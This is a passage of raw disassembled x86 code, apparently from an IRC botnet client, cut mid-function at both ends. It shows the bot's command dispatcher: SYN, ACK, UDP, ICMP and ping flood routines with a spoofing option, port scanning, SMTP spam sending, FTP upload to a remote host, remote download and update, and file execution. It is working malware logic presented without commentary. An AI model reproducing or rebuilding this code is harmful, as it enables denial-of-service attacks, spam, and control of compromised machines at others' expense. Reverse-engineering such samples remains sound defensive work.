; "cy" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410872 push [ebp+arg_8] push offset aMode ; "mode" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410833 push [ebp+arg_8] push offset aM ; "m" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410833 push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4107C8 push [ebp+arg_8] push offset aC_r ; "c_r" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4107C8 push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410746 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410746 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4106D5 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4106D5 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410689 push [ebp+arg_8] push offset aC_j ; "c_j" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410689 push [ebp+arg_8] push offset aC_part ; "c_part" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410626 push [ebp+arg_8] push offset aC_p ; "c_p" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410626 push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410560 push [ebp+arg_8] push offset aRp ; "rp" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410560 push [ebp+arg_8] push offset aDelay ; "delay" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4104C5 push [ebp+arg_8] push offset aDe ; "de" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4104C5 push [ebp+arg_8] push offset aFalehupd ; "falehupd" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410347 push [ebp+arg_8] push offset aUfalehupdp ; "ufalehupdp" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410347 push [ebp+arg_8] push offset aExecute ; "execute" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4102B4 push [ebp+arg_8] push offset aE ; "e" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4102B4 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4101B6 push [ebp+arg_8] push offset aFf_0 ; "ff" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4101B6 push [ebp+arg_8] push offset aRename ; "rename" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410162 push [ebp+arg_8] push offset aMv ; "mv" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410162 push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410067 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410067 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz loc_40C97C push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40FF7C push [ebp+arg_8] push offset aC ; "c" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40FF7C push [ebp+arg_8] push offset aDdos_syn_0 ; "ddos.syn" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40FE77 push [ebp+arg_8] push offset aDdos_ack_0 ; "ddos.ack" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40FE77 push [ebp+arg_8] push offset aDdos_random_0 ; "ddos.random" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40FE77 push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40FD79 push [ebp+arg_8] push offset aSyn_0 ; "syn" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40FD79 push [ebp+arg_8] push offset aFalehdownl ; "falehdownl" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40FC3B push [ebp+arg_8] push offset aFalehdownl2 ; "falehdownl2" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40FC3B push [ebp+arg_8] push offset aRedirect_0 ; "redirect" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40FB41 push [ebp+arg_8] push offset aRd ; "rd" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40FB41 push [ebp+arg_8] push offset aScan_1 ; "scan" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40FA4E push [ebp+arg_8] push offset aSc ; "sc" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40FA4E push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40F979 push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40F979 push [ebp+arg_8] push offset aC_action ; "c_action" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40F864 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40F864 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz loc_40C97C push [ebp+arg_8] push offset aFofofo ; "fofofo" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40F505 push [ebp+arg_8] push offset aF0f0f0 ; "f0f0f0" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40F505 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40F3E5 push [ebp+arg_8] push offset aUdp ; "udp" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40F3E5 push [ebp+arg_8] push offset aU ; "u" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40F3E5 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40F2B2 push [ebp+arg_8] push offset aPing_1 ; "ping" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40F2B2 push [ebp+arg_8] push offset aP ; "p" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40F2B2 push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40F11F push [ebp+arg_8] push offset aTcp ; "tcp" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40F11F push [ebp+arg_8] push offset aEmail ; "email" call sub_419360 pop ecx test eax, eax pop ecx jnz loc_40EF20 lea eax, [ebp+var_3F8] push edi push eax call sub_419FA0 push [ebp+arg_18] call sub_4195F0 push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_DB0] push eax call sub_419FA0 push [ebp+arg_10] lea eax, [ebp+var_BA8] push eax call sub_419FA0 push offset asc_441708 ; " " push offset a__2 ; "_" push [ebp+esi+var_80] call sub_409842 push eax lea eax, [ebp+var_55C] push eax call sub_419FA0 add esp, 30h lea eax, [ebp+var_6EC] push eax push 101h call dword_44B638 ; WSAStartup lea eax, [ebp+var_3F8] push eax call dword_44B744 ; gethostbyname push 6 push 1 push 2 mov edi, eax call dword_44B740 ; socket push [ebp+arg_18] mov esi, eax mov [ebp+var_2EC], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_2E8], eax call dword_44B6C0 ; htons mov [ebp+var_2EA], ax lea eax, [ebp+var_55C] push eax lea eax, [ebp+var_DB0] push eax lea eax, [ebp+var_55C] push eax lea eax, [ebp+var_BA8] push eax lea eax, [ebp+var_DB0] push eax lea eax, [ebp+var_15B0] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_418D70 add esp, 1Ch lea eax, [ebp+var_2EC] push 10h push eax push esi call dword_44B668 ; connect mov edi, 100h push ebx lea eax, [ebp+var_CAC] push edi push eax push esi call dword_44B6D8 ; recv lea eax, [ebp+var_CAC] push ebx push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_15B0] push eax push esi call dword_44B710 ; send push ebx lea eax, [ebp+var_CAC] push edi push eax push esi call dword_44B6D8 ; recv push esi call dword_44B758 ; closesocket call dword_44B620 ; WSACleanup lea eax, [ebp+var_BA8] push eax push offset aEmailMessageSe ; "[EMAIL]: Message sent to %s." loc_40EF0C: ; CODE XREF: sub_40C50A+3B58j ; sub_40C50A+3E38j ... lea eax, [ebp+var_2DC] push eax call sub_418D70 add esp, 0Ch jmp loc_41110A ; --------------------------------------------------------------------------- loc_40EF20: ; CODE XREF: sub_40C50A+28ACj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40F0F1 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_419360 pop ecx test eax, eax pop ecx jz loc_40F0F1 mov esi, [ebp+esi+var_80] cmp esi, ebx jz loc_40C97C push [ebp+arg_8] push offset aUpload ; "upload" call sub_419360 pop ecx test eax, eax pop ecx jnz loc_41263B push 4 push esi call sub_405593 pop ecx test eax, eax pop ecx jnz short loc_40EFC6 push esi push offset aFtpFileNotFoun ; "[FTP]: File not found: %s." loc_40EF85: ; CODE XREF: sub_40C50A+2D99j ; sub_40C50A+3355j ... lea eax, [ebp+var_2DC] push eax call sub_418D70 add esp, 0Ch loc_40EF94: ; CODE XREF: sub_40C50A+2D7Dj ; sub_40C50A+3339j ... cmp [ebp+var_8], ebx jnz short loc_40EFB5 push ebx push [ebp+var_4] loc_40EF9D: ; CODE XREF: sub_40C50A+3968j lea eax, [ebp+var_2DC] push eax push [ebp+var_8C] push [ebp+arg_4] loc_40EFAD: ; CODE XREF: sub_40C50A+5687j call sub_40842D add esp, 14h loc_40EFB5: ; CODE XREF: sub_40C50A+2A8Dj ; sub_40C50A+2ECCj ... lea eax, [ebp+var_2DC] push eax call sub_4035E1 jmp loc_4127C8 ; --------------------------------------------------------------------------- loc_40EFC6: ; CODE XREF: sub_40C50A+2A73j call ds:dword_494308 push eax call sub_418FF0 pop ecx call sub_419000 push 9 cdq pop ecx idiv ecx push edx call sub_419000 push 63h cdq pop ecx idiv ecx push edx call sub_419000 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_CB0] push edx push eax lea eax, [ebp+var_BAC] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_418D70 lea eax, [ebp+var_BAC] push offset aAb ; "ab" push eax call sub_419D70 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_40C97C push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41AD60 push [ebp+arg_24] call sub_419740 lea eax, [ebp+var_BAC] push eax lea eax, [ebp+var_3F8] push offset aSS_11 ; "-s:%s" push eax call sub_418D70 add esp, 2Ch lea eax, [ebp+var_3F8] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen_1 ; "open" push ebx call dword_44B634 test eax, eax push edi push esi jz short loc_40F090 push offset aFtpUploadingFi ; "[FTP]: Uploading file: %s to: %s" jmp short loc_40F095 ; --------------------------------------------------------------------------- loc_40F090: ; CODE XREF: sub_40C50A+2B7Dj push offset aFtpUploading_0 ; "[FTP]: Uploading file: %s to: %s failed"... loc_40F095: ; CODE XREF: sub_40C50A+2B84j call sub_418D70 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40F0BE push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40842D add esp, 14h loc_40F0BE: ; CODE XREF: sub_40C50A+2B96j lea eax, [ebp+var_2DC] push eax call sub_4035E1 loc_40F0CA: ; CODE XREF: sub_40C50A+2BE5j lea eax, [ebp+var_BAC] push 4 push eax call sub_405593 add esp, 0Ch test eax, eax jz loc_40C97C lea eax, [ebp+var_BAC] push eax call sub_41B720 jmp short loc_40F0CA ; --------------------------------------------------------------------------- loc_40F0F1: ; CODE XREF: sub_40C50A+2A27j ; sub_40C50A+2A3Ej push [ebp+esi+var_80] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_4195F0 pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_407D34 jmp loc_412638 ; --------------------------------------------------------------------------- loc_40F11F: ; CODE XREF: sub_40C50A+287Ej ; sub_40C50A+2895j mov esi, 80h push edi lea eax, [ebp+var_678] push esi push eax call sub_418EF0 lea eax, [ebp+var_678] push eax push offset aSyn_1 ; "syn" call sub_419360 add esp, 14h test eax, eax jz short loc_40F182 lea eax, [ebp+var_678] push eax push offset aAck ; "ack" call sub_419360 pop ecx test eax, eax pop ecx jz short loc_40F182 lea eax, [ebp+var_678] push eax push offset aRandom ; "random" call sub_419360 pop ecx test eax, eax pop ecx jz short loc_40F182 push offset aTcpInvalidFloo ; "[TCP]: Invalid flood type specified." jmp loc_411C97 ; --------------------------------------------------------------------------- loc_40F182: ; CODE XREF: sub_40C50A+2C3Ej ; sub_40C50A+2C55j ... push [ebp+arg_10] call sub_4195F0 cmp eax, ebx pop ecx mov [ebp+var_570], eax jle loc_40F2A8 push edi lea eax, [ebp+var_678] push esi push eax call sub_418EF0 push [ebp+arg_18] lea eax, [ebp+var_6F8] push esi push eax call sub_418EF0 push [ebp+arg_0] call sub_4195F0 mov [ebp+var_574], eax xor eax, eax cmp [ebp+var_9B6], bl push [ebp+var_8C] setnz al mov [ebp+var_56C], eax mov eax, [ebp+arg_4] mov [ebp+var_6FC], eax lea eax, [ebp+var_5F8] push esi push eax call sub_418EF0 mov eax, [ebp+var_4] add esp, 28h cmp [ebp+var_56C], ebx mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_40F219 mov eax, offset aNormal ; "Normal" loc_40F219: ; CODE XREF: sub_40C50A+2D08j push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset aTcpSSFloodingS ; "[TCP]: %s %s flooding: (%s:%s) for %s s"... lea eax, [ebp+var_2DC] push 200h push eax call sub_418EF0 push ebx lea eax, [ebp+var_2DC] push 0Ch push eax call sub_4161EB add esp, 2Ch mov [ebp+var_578], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6FC] push ebx push eax push offset sub_4157B0 push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_578] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_40F297 loc_40F281: ; CODE XREF: sub_40C50A+2D8Bj cmp [ebp+var_560], ebx jnz loc_40EF94 push 32h call ds:dword_4942D8 jmp short loc_40F281 ; --------------------------------------------------------------------------- loc_40F297: ; CODE XREF: sub_40C50A+2D75j call ds:dword_4942F0 push eax push offset aTcpFailedToSta ; "[TCP]: Failed to start flood thread, er"... jmp loc_40EF85 ; --------------------------------------------------------------------------- loc_40F2A8: ; CODE XREF: sub_40C50A+2C89j push offset aTcpInvalidFl_0 ; "[TCP]: Invalid flood time must be great"... jmp loc_411C97 ; --------------------------------------------------------------------------- loc_40F2B2: ; CODE XREF: sub_40C50A+2839j ; sub_40C50A+2850j ... cmp dword_44B7B0, ebx mov esi, [ebp+arg_4] jnz loc_40F3BA mov eax, [ebp+var_8] push 7Fh mov [ebp+var_300], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax lea eax, [ebp+var_398] push edi push eax call sub_4191A0 push [ebp+arg_18] call sub_4195F0 push [ebp+arg_0] mov [ebp+var_318], eax call sub_4195F0 push [ebp+arg_10] mov [ebp+var_314], eax call sub_4195F0 push 7Fh mov [ebp+var_310], eax push [ebp+var_8C] lea eax, [ebp+var_418] push eax call sub_4191A0 push [ebp+var_310] lea eax, [ebp+var_398] mov [ebp+var_41C], esi push [ebp+var_314] push eax lea eax, [ebp+var_2DC] push [ebp+var_318] push offset aPingSendingDPi ; "[PING]: Sending %d pings to %s. packet "... push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push 0Eh push eax call sub_4161EB add esp, 48h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_40B0E5 push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_40F3A9 loc_40F397: ; CODE XREF: sub_40C50A+2E9Dj cmp [ebp+var_2FC], ebx jnz short loc_40F3D3 push 32h call ds:dword_4942D8 jmp short loc_40F397 ; --------------------------------------------------------------------------- loc_40F3A9: ; CODE XREF: sub_40C50A+2E8Bj call ds:dword_4942F0 push eax push offset aPingFailedToSt ; "[PING]: Failed to start flood thread, e"... jmp loc_40FF6B ; --------------------------------------------------------------------------- loc_40F3BA: ; CODE XREF: sub_40C50A+2DB1j push 1FFh lea eax, [ebp+var_2DC] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_4191A0 loc_40F3D0: ; CODE XREF: sub_40C50A+3A6Dj add esp, 0Ch loc_40F3D3: ; CODE XREF: sub_40C50A+2E93j ; sub_40C50A+2FDAj ... cmp [ebp+var_8], ebx jnz loc_40EFB5 push ebx push [ebp+var_4] jmp loc_411B83 ; --------------------------------------------------------------------------- loc_40F3E5: ; CODE XREF: sub_40C50A+27F4j ; sub_40C50A+280Bj ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_300], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax lea eax, [ebp+var_398] push edi push eax call sub_4191A0 push [ebp+arg_18] call sub_4195F0 push [ebp+arg_0] mov [ebp+var_318], eax call sub_4195F0 push [ebp+arg_10] mov [ebp+var_314], eax call sub_4195F0 mov esi, [ebp+esi+var_80] add esp, 18h cmp esi, ebx mov [ebp+var_310], eax jz short loc_40F44A push esi call sub_4195F0 pop ecx mov [ebp+var_30C], eax jmp short loc_40F450 ; --------------------------------------------------------------------------- loc_40F44A: ; CODE XREF: sub_40C50A+2F2Fj mov [ebp+var_30C], ebx loc_40F450: ; CODE XREF: sub_40C50A+2F3Ej push 7Fh lea eax, [ebp+var_418] push [ebp+var_8C] push eax call sub_4191A0 push [ebp+var_310] mov esi, [ebp+arg_4] lea eax, [ebp+var_398] mov [ebp+var_41C], esi push [ebp+var_314] push eax lea eax, [ebp+var_2DC] push [ebp+var_318] push offset aUdpSendingDPac ; "[UDP]: Sending %d packets to: %s. Packe"... push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push 0Fh push eax call sub_4161EB add esp, 30h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_40B271 push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_40F4F4 loc_40F4DE: ; CODE XREF: sub_40C50A+2FE8j cmp [ebp+var_2FC], ebx jnz loc_40F3D3 push 32h call ds:dword_4942D8 jmp short loc_40F4DE ; --------------------------------------------------------------------------- loc_40F4F4: ; CODE XREF: sub_40C50A+2FD2j call ds:dword_4942F0 push eax push offset aUdpFailedToSta ; "[UDP]: Failed to start flood thread, er"... jmp loc_40FF6B ; --------------------------------------------------------------------------- loc_40F505: ; CODE XREF: sub_40C50A+27C6j ; sub_40C50A+27DDj push 8 call sub_416433 push [ebp+arg_18] mov [ebp+arg_8], eax call sub_4195F0 add eax, [ebp+arg_8] pop ecx pop ecx cmp eax, 258h jle short loc_40F558 push [ebp+arg_8] lea eax, [ebp+var_2DC] push offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"... push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40842D loc_40F550: ; CODE XREF: sub_40C50A+4487j add esp, 20h jmp loc_41263B ; --------------------------------------------------------------------------- loc_40F558: ; CODE XREF: sub_40C50A+3017j push edi call sub_4195F0 push [ebp+arg_18] mov [ebp+var_330], eax call sub_4195F0 push [ebp+arg_0] mov [ebp+var_318], eax call sub_4195F0 add esp, 0Ch cmp eax, 5 mov [ebp+var_32C], eax jnb short loc_40F591 push 5 pop eax mov [ebp+var_32C], eax loc_40F591: ; CODE XREF: sub_40C50A+307Cj push 3Ch pop ecx cmp eax, ecx jbe short loc_40F59E mov [ebp+var_32C], ecx loc_40F59E: ; CODE XREF: sub_40C50A+308Cj push [ebp+arg_10] call sub_4195F0 mov [ebp+var_328], eax mov eax, 320h cmp [ebp+var_328], eax pop ecx jbe short loc_40F5C0 mov [ebp+var_328], eax loc_40F5C0: ; CODE XREF: sub_40C50A+30AEj or [ebp+var_314], 0FFFFFFFFh cmp dword_436158, ebx mov [ebp+arg_0], ebx jz short loc_40F616 mov [ebp+arg_24], offset dword_436158 loc_40F5D9: ; CODE XREF: sub_40C50A+30EEj mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_419360 pop ecx test eax, eax pop ecx jz short loc_40F5FC add [ebp+arg_24], 3Ch inc [ebp+arg_0] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_40F5D9 jmp short loc_40F616 ; --------------------------------------------------------------------------- loc_40F5FC: ; CODE XREF: sub_40C50A+30E0j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_314], eax imul ecx, 3Ch mov ecx, dword_436158[ecx] mov [ebp+var_330], ecx loc_40F616: ; CODE XREF: sub_40C50A+30C6j ; sub_40C50A+30F0j cmp [ebp+var_330], ebx jnz short loc_40F628 push offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan, port is i"... jmp loc_411C97 ; --------------------------------------------------------------------------- loc_40F628: ; CODE XREF: sub_40C50A+3112j mov edi, [ebp+esi+var_80] cmp edi, ebx mov [ebp+arg_18], edi jz short loc_40F663 cmp byte ptr [edi], 23h jz short loc_40F663 push edi lea eax, [ebp+var_444] push 10h push eax call sub_418EF0 push 78h push edi call sub_4199F0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_304], eax jmp loc_40F737 ; --------------------------------------------------------------------------- loc_40F663: ; CODE XREF: sub_40C50A+3127j ; sub_40C50A+312Cj cmp [ebp+var_9C7], bl jnz short loc_40F685 cmp [ebp+var_9C6], bl jnz short loc_40F685 cmp [ebp+var_9B6], bl jnz short loc_40F685 push offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan, no IP spe"... jmp loc_411C97 ; --------------------------------------------------------------------------- loc_40F685: ; CODE XREF: sub_40C50A+315Fj ; sub_40C50A+3167j ... push 10h lea eax, [ebp+arg_0] pop edi push eax lea eax, [ebp+var_2EC] push eax mov [ebp+arg_0], edi push [ebp+arg_4] call dword_44B664 ; getsockname mov al, [ebp+var_9C7] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2E8], eax push [ebp+var_2E8] call dword_44B74C ; inet_ntoa push eax lea eax, [ebp+var_444] push eax call sub_4191A0 add esp, 0Ch cmp [ebp+var_9B6], bl jz short loc_40F731 xor eax, eax cmp [ebp+var_9C7], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_444] push eax call sub_419170 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_40F725 loc_40F703: ; CODE XREF: sub_40C50A+3219j cmp eax, ebx jz short loc_40F725 mov byte ptr [eax], 78h lea eax, [ebp+var_444] push 30h push eax call sub_419170 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40F703 loc_40F725: ; CODE XREF: sub_40C50A+31F7j ; sub_40C50A+31FBj mov [ebp+var_304], 1 jmp short loc_40F737 ; --------------------------------------------------------------------------- loc_40F731: ; CODE XREF: sub_40C50A+31D1j mov [ebp+var_304], ebx loc_40F737: ; CODE XREF: sub_40C50A+3154j ; sub_40C50A+3225j mov eax, [ebp+arg_4] push [ebp+var_8C] mov [ebp+var_334], eax mov eax, [ebp+var_4] mov [ebp+var_30C], eax mov eax, [ebp+var_8] mov [ebp+var_308], eax mov edi, 80h lea eax, [ebp+var_434] push edi push eax call sub_418EF0 mov esi, [ebp+esi+var_7C] add esp, 0Ch cmp esi, ebx jz short loc_40F788 loc_40F775: ; CODE XREF: sub_40C50A+32A1j push esi loc_40F776: ; CODE XREF: sub_40C50A+328Bj lea eax, [ebp+var_3B4] push edi push eax call sub_418EF0 add esp, 0Ch jmp short loc_40F7B3 ; --------------------------------------------------------------------------- loc_40F788: ; CODE XREF: sub_40C50A+3269j mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_40F797 cmp byte ptr [eax], 23h jnz short loc_40F797 push eax jmp short loc_40F776 ; --------------------------------------------------------------------------- loc_40F797: ; CODE XREF: sub_40C50A+3283j ; sub_40C50A+3288j mov esi, offset aFf_1 ; "#ff-" push offset dword_491D8C push esi call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40F775 mov [ebp+var_3B4], bl loc_40F7B3: ; CODE XREF: sub_40C50A+327Cj cmp [ebp+var_304], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_40F7C5 mov eax, offset aSequential ; "Sequential" loc_40F7C5: ; CODE XREF: sub_40C50A+32B4j push [ebp+var_318] lea ecx, [ebp+var_444] push [ebp+var_328] push [ebp+var_32C] push [ebp+var_330] push ecx push eax lea eax, [ebp+var_2DC] push offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d w"... push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_4161EB add esp, 2Ch mov [ebp+var_324], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_444] push ebx push eax push offset sub_40328A push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_324] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_40F853 loc_40F83D: ; CODE XREF: sub_40C50A+3347j cmp [ebp+var_300], ebx jnz loc_40EF94 push 32h call ds:dword_4942D8 jmp short loc_40F83D ; --------------------------------------------------------------------------- loc_40F853: ; CODE XREF: sub_40C50A+3331j call ds:dword_4942F0 push eax push offset aScanFailedTo_2 ; "[SCAN]: Failed to start scan thread, er"... jmp loc_40EF85 ; --------------------------------------------------------------------------- loc_40F864: ; CODE XREF: sub_40C50A+2786j ; sub_40C50A+279Dj push edi call sub_4195F0 imul eax, 234h pop ecx cmp byte_44D070[eax], bl jz loc_41263B cmp [ebp+var_C], ebx jz loc_41263B push [ebp+arg_18] call sub_418E70 push edi mov esi, eax call sub_418E70 push [ebp+arg_8] add esi, eax call sub_418E70 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_419AB0 mov esi, eax lea eax, [ebp+var_2DC] push esi push offset dword_441368 push eax call sub_418D70 add esp, 20h cmp esi, ebx jz loc_41263B push edi call sub_4195F0 test eax, eax pop ecx jle loc_41263B push edi call sub_4195F0 cmp eax, 1F4h pop ecx jge loc_41263B push ebx lea eax, [ebp+var_2DC] push ebx push eax push [ebp+arg_18] push edi call sub_4195F0 imul eax, 234h pop ecx push dword_44D064[eax] call sub_40842D push edi call sub_4195F0 imul eax, 234h add esp, 18h cmp byte ptr dword_44CE58[eax], 73h jnz loc_41263B push esi push edi call sub_4195F0 imul eax, 234h pop ecx add eax, offset byte_44D070 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] * %s %s" loc_40F94C: ; CODE XREF: sub_40C50A+353Fj lea eax, [ebp+var_2DC] push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40842D loc_40F971: ; CODE XREF: sub_40C50A+5855j add esp, 28h jmp loc_41263B ; --------------------------------------------------------------------------- loc_40F979: ; CODE XREF: sub_40C50A+2758j ; sub_40C50A+276Fj push edi call sub_4195F0 imul eax, 234h pop ecx cmp byte_44D070[eax], bl jz loc_41263B cmp [ebp+var_C], ebx jz loc_41263B push [ebp+arg_18] call sub_418E70 push edi mov esi, eax call sub_418E70 push [ebp+arg_8] add esi, eax call sub_418E70 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_419AB0 mov esi, eax add esp, 14h cmp esi, ebx jz loc_41263B push edi call sub_4195F0 test eax, eax pop ecx jle loc_41263B push edi call sub_4195F0 cmp eax, 1F4h pop ecx jge loc_41263B push ebx push ebx push esi push [ebp+arg_18] push edi call sub_4195F0 imul eax, 234h pop ecx push dword_44D064[eax] call sub_40842D push edi call sub_4195F0 imul eax, 234h add esp, 18h cmp byte ptr dword_44CE58[eax], 73h jnz loc_41263B push esi push edi call sub_4195F0 imul eax, 234h pop ecx add eax, offset byte_44D070 push eax push [ebp+arg_18] push offset aSSS_2 ; "[%s] <%s> %s" jmp loc_40F94C ; --------------------------------------------------------------------------- loc_40FA4E: ; CODE XREF: sub_40C50A+272Aj ; sub_40C50A+2741j push edi call dword_44B700 ; inet_addr push [ebp+arg_18] mov [ebp+var_474], eax call sub_4195F0 push [ebp+arg_0] mov [ebp+var_480], eax call sub_4195F0 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_47C], eax lea eax, [ebp+var_500] mov [ebp+var_504], esi push eax call sub_4191A0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_46C], edi push [ebp+var_47C] mov [ebp+var_468], eax push [ebp+var_480] push [ebp+var_474] call dword_44B74C ; inet_ntoa push eax lea eax, [ebp+var_2DC] push offset aScanPortScanSt ; "[SCAN]: Port scan started: %s:%d with d"... push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push 8 push eax call 